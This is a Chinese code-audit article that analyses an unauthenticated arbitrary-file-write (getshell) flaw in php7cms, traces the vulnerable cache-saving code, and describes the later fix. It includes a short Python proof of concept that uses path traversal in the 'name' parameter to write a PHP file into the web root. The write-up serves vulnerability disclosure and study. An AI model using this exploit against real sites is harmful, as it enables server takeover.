[代码审计]php7cms 无条件前台getshell

栏目: PHP · 发布时间: 7年前

内容简介:Version:2018-1//最新版中以修复此漏洞这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

Version:2018-1 0-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {

    $rt = \Phpcmf\Service::L('cache')->init('file')->save(
        \Phpcmf\Service::L('Input')->get('name'),
        \Phpcmf\Service::L('Input')->post('data'),
        7200
    );
    var_dump($rt);
    exit;
}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

// php7cms/Fcms/Library/Cache.php
  // 112~121 line
  public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
        $config = new \Config\Cache();
        $config->handler = 'file';
        $config->prefix = $prefix;
        !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
        $config->path = WRITEPATH.'caching/';
        $cache = \Config\Services::cache($config, 0);

        return $cache;
    }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
  $key = $this->prefix . $key;

  $contents = [
    'time'	 => time(),
    'ttl'	 => $ttl,
    'data'	 => $value,
  ];

  if ($this->writeFile($this->path . $key, serialize($contents)))
  {
    chmod($this->path . $key, 0640);

    return true;
  }

  return false;
}
//324~345 line	
protected function writeFile($path, $data, $mode = 'wb')
  {
    if (($fp = @fopen($path, $mode)) === false)
    {
      return false;
    }

    flock($fp, LOCK_EX);

    for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
    {
      if (($result = fwrite($fp, substr($data, $written))) === false)
      {
        break;
      }
    }

    flock($fp, LOCK_UN);
    fclose($fp);

    return is_int($result);
  }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

from requests import post
postData = {
  'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

[代码审计]php7cms 无条件前台getshell

新版修复:

[代码审计]php7cms 无条件前台getshell

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

[代码审计]php7cms 无条件前台getshell


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Out of Control

Out of Control

Kevin Kelly / Basic Books / 1995-4-14 / USD 22.95

Out of Control is a summary of what we know about self-sustaining systems, both living ones such as a tropical wetland, or an artificial one, such as a computer simulation of our planet. The last chap......一起来看看 《Out of Control》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具